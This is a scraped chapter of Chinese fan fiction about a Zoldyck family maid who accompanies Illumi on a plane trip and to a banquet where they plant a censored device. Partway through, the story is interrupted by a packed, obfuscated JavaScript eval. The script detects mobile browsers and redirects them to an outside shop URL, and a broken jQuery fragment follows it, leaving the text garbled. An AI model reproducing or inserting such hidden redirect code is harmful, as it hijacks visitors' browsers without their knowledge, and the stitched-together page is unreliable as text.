文趣网 > 其他小说 > [猎人]揍敌客女仆再就业计划 > 24.合适×晚宴
    从噩梦中惊醒后,伊洛斯的手已经下意识捂在了胸口上,药效终于解除了,四肢能自由活动起来,只是还残存着微微麻意,不痛不痒,总让她想扭扭关节。

    趁着天还没完全亮,夫人和家主尚未起床,她撑着沙发站起身,感受着自己听话的双腿,奇妙地产生了一种失而复得的欣喜。为了不吵醒主人们,她慢吞吞地往外挪。

    推开门,与站在门口的管家们碰面时,几道好奇的目光齐刷刷地落在她脸上。

    伊洛斯没有回避,直接以一副心安理得的神情对了上去,下巴微扬,眼神坦荡,几位管家见状纷纷移开视线。她默默在走廊中行走,慢条斯理地梳理了一下凌乱的头发。

    除了凌晨那个关于暗杀的梦之外,伊洛斯觉得昨晚的整场经历就像一场漫长又诡异的噩梦,某些东西以一种非常微妙的方式流入她的脑海中。

    即使已经在这座山上待了这么多年了,生活依然处处是惊喜。

    上班时间还没到,伊洛斯回到女仆宿舍洗漱了一下,换了身新衣服,就站在伊尔迷的房门口待命了。没想到这位少爷起得也很早,她刚到门口就被叫进去了。

    伊尔迷正站在镜子前扣着衬衫袖口的纽扣,侧眼看向她,目光直白而坦然,昨晚那些对话像对他完全没产生任何影响。伊洛斯则神色黯然地回望着他,努力想维持标准又端庄的女仆姿态,却实在没什么精神。

    “帮我把外套拿来。”他说。

    “好的。”伊洛斯从衣架上取下西装外套递过去,才发现伊尔迷今天穿得很正式,平时偶尔会散落在肩头的长发也打理得纹丝不乱,整齐地披在肩后,在晨光下泛着冷调光泽。

    昨天他的发丝蹭过她脸颊的细碎痒意仿佛还萦绕在那里,伊洛斯抬手摸了摸自己的脸,怔然盯着脚下的暗色地毯。

    “我已经查到了。”伊尔迷清冷而平直的声音在镜前响起。

    “您效率真高。”伊洛斯草草回应着。

    察觉到她这副魂不守舍的样子,伊尔迷走到她面前,居高临下地凝视着她。

    在这种目光的威压下,伊洛斯终于从恍惚中回过神,猛地抬起头:“您查到什么了?”

    “你的网恋男友。”

    “能冒昧问一下您是怎么查到的吗?”

    伊尔迷对着镜子整理着衣领,漫不经心地说:“糜稽查的。等这次委托回来后,我会让你亲自惩罚他。”

    伊洛斯沉默了。

    不安感在胸腔里不断酝酿着,他越是这副游刃有余的样子,伊洛斯反倒越觉得心慌。

    伊尔迷正完全沉浸在自己的逻辑链中,而这条逻辑链的起源是她和糜稽做了不该做的事。被伊尔迷察觉后他们非但没实话实说,还撒谎来骗他。最可怕的是,慌越撒越大了,糜稽少爷甚至还找到了替死鬼。

    就像一颗气球被越吹越大,你知道它终会爆掉,但它并没有在预期的时间内爆炸,薄膜的颜色越来越淡,近乎透明,谎言在里面急速膨胀。而她和糜稽,作为吹气球的人,终要承受这个过程中必将承受的心惊胆战。

    要不还是直接认错好了,至少不用再提心吊胆了,她心想。

    分析了一下利弊,伊洛斯又把认错这个选项暂时搁置了。

    因为她和糜稽少爷联手把伊尔迷耍得团团转这件事本身其实也挺好玩的。

    至于伊尔迷刚刚说要让她亲手惩罚网恋对象......等等,怎么直接惩罚了?

    “网恋对象......要我来惩罚?”她蹙起了眉,不可思议地指了指自己。

    “嗯。你的恋情已经严重影响了工作。至于后续要不要跟他分手,随你。”

    她谨慎措辞,语速放得很慢:“您指的是我口误对您使用了不礼貌称呼的事吗?这个我已经纠正过来了,惩罚就......”

    “我没有觉得不礼貌。”他打断了她,语气平淡。

    “......那是?”

    “不合适。”

    有区别吗?她快速眨了眨眼。不觉得不礼貌,但觉得不合适——或许不礼貌是对他的冒犯,不合适是对规则的偏离。也就是说,她可以叫他宝宝,但是不能在工作时间叫。可除了工作时间他们也不在一起啊?难道伊尔迷是在暗示她?

    咦......好奇怪啊!

    最终,她有气无力地回应:“......您说的都对。”

    他淡淡看了她一眼,面无表情地离开了房间。

    当天下午,飞艇上。

    伊洛斯靠着舷窗,心想无论如何一定要保守住地下工作的秘密,那是她唯一可以接触到外界的途径,是一个即使不用谄媚奉承也可以获得真心夸赞的世界。她悠然神往,而且也没有信心伊尔迷在得知真相后不会阻拦。

    埃卡特庄园离枯枯戮山有一段距离,航程久远,靠在窗边的伊洛斯静静望向舷窗外的景致,薄薄的云层飘在深蓝色的天际中,下方是绵延不绝的山脉。

    就在这时,伊尔迷从行李架上拿下来一个她从未见过的箱子,拎着箱子坐到了她身旁的位置。

    伊洛斯立刻坐直了些,脸上挂上了礼貌的微笑:“您有事要吩咐吗?”

    “今晚要潜入埃卡特先生举办的晚宴,趁宴会时间在他的庄园里布置□□。你穿的女仆装不合适。”

    “我可以潜入他们家的女仆团队之中。”她提议。

    “风险太高。”伊尔迷自顾自地弯下腰打开箱子,从里面拿出一套黑色礼裙递给她,“穿这件,你需要扮演我带来的女伴。”

    她接过裙子,对他比出一个ok手势。

    伊洛斯摘下了女仆发饰,放在膝盖上。

    伊尔迷目不转睛地盯着她。

    伊洛斯解开了围裙,利落叠好后放在了发饰旁边。

    伊尔迷目不转睛地盯着她。

    伊洛斯把手伸到背后,解开了女仆装后面的拉链。

    伊尔迷依旧目不转睛地盯着她。

    她停下了动作,尽量用柔和且不冒犯的语气开口:“少爷,我要换衣服了。”

    “嗯。”他环视一圈,理所当然道,“飞艇里没有其他人。”

    伊洛斯移开了视线,睫毛以极高的频率开始翕动。她觉得自己的耐心将要被耗尽了,但作为恪守职业素养的专业女仆,还是重新噙起了微笑,快速道:“您这样看着我,我没法换。要不您先把头扭过去?”

    没想到这次还挺好沟通的,他果真把头扭了过去,但只是头,身体还一动不动地对着她。她轻叹了一声,缩到角落不在他余光范围内的地方飞速换好了裙子。

    这是一件剪裁精良的黑色小礼裙,裙子不长,行动也很方便。伊洛斯不知道它穿在自己身上是什么样子的,也没心情知道。漂亮的衣服对于她来说不像对基裘夫人那样是一种唾手可得的消遣,只有在特定的场景,主人需要的时候,才会被功能性地换上。

    她将换下来的女仆装搭在膝盖上,整齐地叠放好,俯下身收回行李箱中,起身的一瞬间撞上了伊尔迷那双无机质的猫眼。他自上到下打量过她全身。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619769|205736||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    伊洛斯不自然地摸了摸脖子。裙子的领口比女仆装低了不少,触碰到自己裸露的皮肤时,她忽然有些不适应,指尖微微蜷缩了一下。

    他用那种平直的、毫无情绪的语气说:“真少见。妈妈应该会喜欢你这种样子。”

    基裘夫人,又是基裘夫人......他就只会拿夫人说事。她本身就已经有些烦躁了,但又必须维持着体面的微笑,导致此刻脸上的神情有些若有若无的假面。

    伊尔迷朝她举起了手机。

    伊洛斯下意识用双手抓住了他的手,动作之快她自己都没反应过来。

    “您不用发给夫人了。如果她喜欢,到时候我可以当面穿给她看。”

    倒也不是她乐意当模特,只是必须找个借口阻止自己的照片留在伊尔迷的手机里。

    伊尔迷默然垂眼,视线落在她包住自己手的那双手上,从指节滑到手腕,又重新看向她的脸,无光的黑眼里掠过了一点极难察觉的了然。

    伊洛斯全然没注意到他的目光,还是想确认一下伊尔迷究竟有没有拍到她,于是用力了一点,把他的手往下压了压,将屏幕调整到她能看清的角度。

    结果蓦地在屏幕里看到了正在眨眼的自己。

    怎么是自拍?

    她猝然抬眼,用一种不可思议地眼神看向伊尔迷。

    他歪了歪头,淡淡地陈述:“我还没来得及翻转摄像头,你就来牵我的手了。”

    那种噩梦般的恍然感又来了,她觉得自从第一次和伊尔迷出差回来,每天都在做这种诡异的梦,所有人都是清醒的,只有她在梦游。

    她松开了他的手,没再说什么,扭过头去,将视线放到舷窗外。身旁的人也没说话,默默把手机收了回去。机舱里只剩引擎的低沉嗡鸣。

    抵达埃卡特庄园时,天已经完全黑了。庭院中央的庄园主宅却灯火通明,还未进入大门就能窥见璀璨光影。身着华服的男女仪态端方,矜贵从容,三三两两谈笑着顺着花园向那一片流动的金色中走去。

    伊洛斯被迫挽着伊尔迷的手臂,尽量维持着松弛的姿态,步伐轻盈,笑容自信。向门卫递出邀请函后,两人携手步入了庄园。

    庄园占地面积广大,主道两侧是两个巨大的草坪,尽头连接着爬满绿色藤蔓的围墙,随处可见正在忙碌的下人。甚至还有一个园丁在伊洛斯路过的时候直起身来,伸手向她打了招呼。

    她本能地露出了礼貌的职业微笑,抬起手准备回应,伊尔迷却立刻用手肘顶了她一下。伊洛斯抬到一半的手半路拐了个弯,开始整理起耳旁的碎发,装作无事发生。

    晚宴准时开始,埃卡特先生站在宴会厅正中央发表了简短的演讲。伊洛斯站在人群中,面带微笑,时而点头,时而随着周围的宾客一起鼓掌,俨然是一位教养有素的小姐,当然脑海中却在设想该怎么炸掉埃卡特先生的庄园。

    演讲结束后,小姐先生们端着香槟在宴会厅内开始自由活动。伊洛斯跟随伊尔迷穿过人群,从花园绕到了大厅后的走廊。门一关上,喧嚣人声瞬间被隔绝在外。

    走廊里十分昏暗,没有人也没有灯。两人极快地在提前计划好的位置设置了□□。当然主要是伊尔迷在做,她在一边放风。

    工作任务全部完成后,他们神色如常地从楼道回到那条通往宴会厅的花园小径。伊洛斯刚松一口气,两道脚步却倏然从小道尽头由远及近地响起。

    伊尔迷瞬间攥起她的手腕,把她拉到了拐角处,另一只手捂住了她的嘴。